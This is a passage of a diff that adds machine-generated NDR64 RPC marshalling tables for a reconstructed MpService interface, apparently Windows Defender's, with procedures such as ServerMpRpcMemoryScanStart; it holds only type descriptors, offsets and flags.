_NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag904 + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag897_t __midl_frag897 = +{ +/* *Struct_2208_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag898 +}; + +static const __midl_frag896_t __midl_frag896 = +{ +/* Struct_2194_t */ + { + /* Struct_2194_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2194_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag895_t __midl_frag895 = +{ +/* *Struct_2194_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag896 +}; + +static const __midl_frag894_t __midl_frag894 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag893_t __midl_frag893 = +{ +/* union_2142 */ + { + /* union_2142 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag894, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 7 /* 0x7 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 0 /* 0x0 */, + &__midl_frag895, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag897, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag905, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag909, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag911, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 5 /* 0x5 */, + &__midl_frag916, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 6 /* 0x6 */, + &__midl_frag921, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag892_t __midl_frag892 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag886 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag889 + } +}; + +static const __midl_frag890_t __midl_frag890 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */ + } +}; + +static const __midl_frag889_t __midl_frag889 = +{ +/* *wchar_t */ + { + /* *wchar_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 1 /* 0x1 */, + { + /* *wchar_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag890 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag2219 + } +}; + +static const __midl_frag887_t __midl_frag887 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag886_t __midl_frag886 = +{ +/* *wchar_t */ + { + /* *wchar_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 1 /* 0x1 */, + { + /* *wchar_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag887 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag2219 + } +}; + +static const __midl_frag884_t __midl_frag884 = +{ +/* Struct_2516_t */ + { + /* Struct_2516_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2516_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + 0, + 0, + &__midl_frag892, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag893 + }, + { + /* Struct_2442_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_2482_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag883_t __midl_frag883 = +{ +/* *Struct_2516_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag884 +}; + +static const __midl_frag880_t __midl_frag880 = +{ +/* Proc94_ServerMpRpcMemoryScanStart */ + { + /* Proc94_ServerMpRpcMemoryScanStart */ /* procedure Proc94_ServerMpRpcMemoryScanStart */ + (NDR64_UINT32) 2883651 /* 0x2c0043 */, /* auto handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 56 /* 0x38 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag121, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag884, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag36, + { + /* arg_4 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag1288, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag874_t __midl_frag874 = +{ +/* Proc93_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc93_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc93_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag869_t __midl_frag869 = +{ +/* Proc92_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc92_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc92_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag862_t __midl_frag862 = +{ +/* Proc91_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc91_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc91_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag938, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag855_t __midl_frag855 = +{ +/* Proc90_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc90_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc90_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag845_t __midl_frag845 = +{ +/* *Struct_2070_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag822 +}; + +static const __midl_frag844_t __midl_frag844 = +{ +/* **Struct_2070_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag845 +}; + +static const __midl_frag842_t __midl_frag842 = +{ +/* Proc88_ServerMpRpcDynamicSignatureEnumerate */ + { + /* Proc88_ServerMpRpcDynamicSignatureEnumerate */ /* procedure Proc88_ServerMpRpcDynamicSignatureEnumerate */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag844, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, 